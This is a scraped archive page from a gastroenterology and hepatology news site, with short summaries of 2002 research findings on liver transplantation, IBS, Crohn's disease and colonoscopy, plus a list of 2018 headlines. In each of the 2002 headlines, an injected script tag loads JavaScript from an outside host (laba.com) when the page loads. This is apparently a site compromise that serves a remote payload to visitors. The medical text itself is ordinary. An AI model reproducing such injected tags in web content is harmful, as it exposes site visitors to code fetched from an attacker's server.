Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 23 February 2018

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Living donor liver transplantation is feasible and safe 04 September 2002
Living donor liver transplantation<script src=http://laba.com/muuu.s></script> Living donor liver transplantation is a practicable and safe procedure, although there is considerable risk of postoperative complications among the donors, claim researchers from Berlin, Germany.
Full story
Biliary decompression by nasobiliary catheter or biliary stent in acute cholangitis 04 September 2002
Biliary decompression in acute suppurative cholangitis<script src=http://laba.com/muuu.s></script> Endoscopic biliary decompression by nasobiliary catheter or indwelling stent is equally effective for patients with acute suppurative cholangitis caused by bile duct stones, according to a study reported in the September issue of Gastrointestinal Endoscopy.
Full story
Steatosis in chronic hepatitis C associated with NASH risk factors 04 September 2002
Steatosis in chronic hepatitis C<script src=http://laba.com/muuu.s></script> Steatosis in HCV infection is associated with risk factors for NASH, particularly obesity, rather than alcohol consumption, finds research published in the September issue of Hepatology.
Full story
Lipids induce intestinal gas retention in IBS 03 September 2002
Lipids in diet of IBS patients<script src=http://laba.com/muuu.s></script> Physiologic concentrations of intestinal lipids exert an inhibitory control on intestinal gas transit, and this mechanism is up-regulated in patients with IBS, according to research published in September's Gastroenterology.
Full story
Value of imaging examinations for detection of malignancies in cirrhotic patients 03 September 2002
Imaging malignancies in cirrhotics<script src=http://laba.com/muuu.s></script> Currently, imaging techniques cannot accurately determine the exact tumor burden in cirrhotic patients before transplantation, claims a team from Leuven, Belgium.
Full story
Total anorectal reconstruction with artificial bowel sphincter is a good treatment option 03 September 2002
Artificial bowel sphincter<script src=http://laba.com/muuu.s></script> Reconstruction with an artificial bowel sphincter is a good option for patients previously treated with an abdominoperineal resection, finds a trial reported in the September issue of Colorectal Disease.
Full story
Update of International Tumor Registry on liver transplantation in association with HCC 02 September 2002
Liver transplants for HCC<script src=http://laba.com/muuu.s></script> A team from Dallas, Texas, USA, has investigated liver transplantation in association with hepatocellular carcinoma (HCC), and has updated the International Tumor Registry.
Full story
Edrecolomab does not improve fluorouracil and folinic acid treatment of colon cancer 02 September 2002
Stage III colon cancer treatment<script src=http://laba.com/muuu.s></script> The addition of edrecolomab to fluorouracil and folinic acid in the adjuvant treatment of resected stage III colon cancer does not improve overall or disease-free survival, according to research published in this week's Lancet.
Full story
Researchers attempt to elucidate the dynamics of H. pylori infection in early childhood 02 September 2002
<I>H. pylori</I> infection in early childhood<script src=http://laba.com/muuu.s></script> H. pylori colonization may often not persist at an early age, finds a trial reported in the September issue of Alimentary Pharmacology & Therapeutics.
Full story
NOD2 mutations linked to fibrostenotic Crohn's disease 30 August 2002
<I>NOD2</I> mutations in CD<script src=http://laba.com/muuu.s></script> Mutations in the NOD2 gene are associated with fibrostenosing disease in patients with Crohn's disease, according to a study reported in the latest issue of Gastroenterology.
Full story
Dye-spray increases detection of small adenomas during routine colonoscopy 30 August 2002
Dye-spray during colonoscopy<script src=http://laba.com/muuu.s></script> Total colonic dye-spray increases the detection of small adenomas in the proximal colon and also patients with multiple adenomas, claims a team from London, England.
Full story
Do breakfast cereals bulk feces? 30 August 2002
Fecal bulk and cereals<script src=http://laba.com/muuu.s></script> Although many Australasian breakfast cereals are reasonable sources of fecal bulk, most cannot be relied on to effectively redress shortfalls elsewhere in the diet, finds a study published in September's Asia Pacific Journal of Clinical Nutrition.
Full story
Yield of lower endoscopy in patients with constipation 29 August 2002
Lower endoscopy in patients with constipation<script src=http://laba.com/muuu.s></script> The range of neoplasia in patients with constipation, evaluated with lower endoscopy, is comparable to that expected in asymptomatic subjects undergoing colorectal cancer screening, finds a trial published in the September issue of Gastrointestinal Endoscopy.
Full story
Predictors of response to infliximab in Crohn's disease are identified 29 August 2002
Infliximab response in Crohn's disease<script src=http://laba.com/muuu.s></script> Smoking status and immunosuppressive use predict patients' response to infliximab in Crohn's disease, according to research reported in the September issue of Gastroenterology.
Full story
Naloxone improves symptoms in patients with IBS and constipation 29 August 2002
Naloxone for IBS<script src=http://laba.com/muuu.s></script> Naloxone is well tolerated and beneficial in patients with IBS and constipation, claim researchers from England and Wales.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855

Go to top of page Email this page Email this page to a colleague

 23 February 2018 
Patients on antithrombotic agents undergoing emergency and elective endoscopy
 23 February 2018 
Heavy metals on a gluten-free diet
 23 February 2018 
MRI and NAFLD
 22 February 2018 
Outcomes with Crohn’s after infliximab withdrawal
 22 February 2018 
Elderly onset of IBD

 22 February 2018 
Autophagy enhancers
 21 February 2018 
Management of hemorrhoids in the USA
 21 February 2018 
Adalimumab and infliximab in biologic-naïve Crohn's
 21 February 2018 
Cystic fibrosis and colorectal cancer
 20 February 2018 
Complications and surveillance colonoscopies
 20 February 2018 
Treatment algorithm for polyp cancers
 20 February 2018 
Predictors of postoperative infection in Crohn's
 19 February 2018 
Screening colonoscopy in the right and left colon
 19 February 2018 
NAFLD prevalence in the USA
 19 February 2018 
Fructans in children with IBS

 16 February 2018 
Inflammatory bowel diseases are global diseases
 16 February 2018 
Undetected celiac in the elderly
 16 February 2018 
Fructans induce non-celiac gluten sensitivity
 15 February 2018 
NSAIDS and GI damage
 15 February 2018 
Oral direct-acting antiviral treatment for Hep C virus genotype 1
 15 February 2018 
Primary vs secondary surgery for the presence of lymph node metastasis
 14 February 2018 
Predicting adenoma detection rate
 14 February 2018 
Normal bowel frequency characterization in the USA 
 13 February 2018 
Personalising treatment options for IBS
 13 February 2018 
Prebiotics improve endothelial dysfunction
 13 February 2018 
Diagnostic criteria for a Rome IV functional gastrointestinal disorders
 12 February 2018 
Visceral hypersensitivity and functional GI disorders
 12 February 2018 
Depression and aggressive IBD
 12 February 2018 
Variability in interpretation of endoscopic findings impacts patient management
 09 February 2018 
Treatment of choice for anastomotic stricture in IBD
 09 February 2018 
PRO measurement information system 
 09 February 2018 
Overall disease severity indices for IBD
 08 February 2018 
Prediction of endoscopically active disease

 08 February 2018 
Steroid-refractory acute severe ulcerative colitis
 08 February 2018 
Decision aid used by IBD patients
 07 February 2018 
Ursodeoxycholic acid combined with bezafibrate for itching
 07 February 2018 
Change in microbiome in gastritis vs gastric carcinoma
 07 February 2018 
Colorectal cancer and primary sclerosing cholangitis-IBD
 06 February 2018 
Risk of death after liver transplantation
 06 February 2018 
Crohn’s disease vs refractory pouchitis
 06 February 2018 
Support for functional dyspepsia symptom diary
 05 February 2018 
Helicobacter spp influence on GI tract 
 05 February 2018 
No link found between severe reflux and all-cause mortality 
 05 February 2018 
Psychological distress in PPI non-responders
 02 February 2018 
Assessing psychosexual impact of IBD
 02 February 2018 
Decrease in overall mortality with cholera vaccination
 02 February 2018 
Diagnostic performance of fecal immunochemical tests
 01 February 2018 
Screening frequency with family histories of colorectal cancer
 01 February 2018 
IBD and sport participation
 01 February 2018 
Life with a stoma 
 31 January 2018 
Aprepitant and gastroparesis 
 31 January 2018 
Anesthesia risk in colonoscopy
 31 January 2018 
GED-0301 for Crohn's Disease
 30 January 2018 
Intestinal dysbiosis and allergic diseases in infants
 30 January 2018 
Fructans and IBS symptoms in children
 29 January 2018 
Dosing calculator for therapy optimization in IBD
 29 January 2018 
Glecaprevir–pibrentasvir for in HCV
 29 January 2018 
Food allergen injections in eosinophilic esophagitis
 29 January 2018 
Reliability of the IBD index
 26 January 2018 
Tofacitinib vs biological therapies for ulcerative colitis

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2018 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us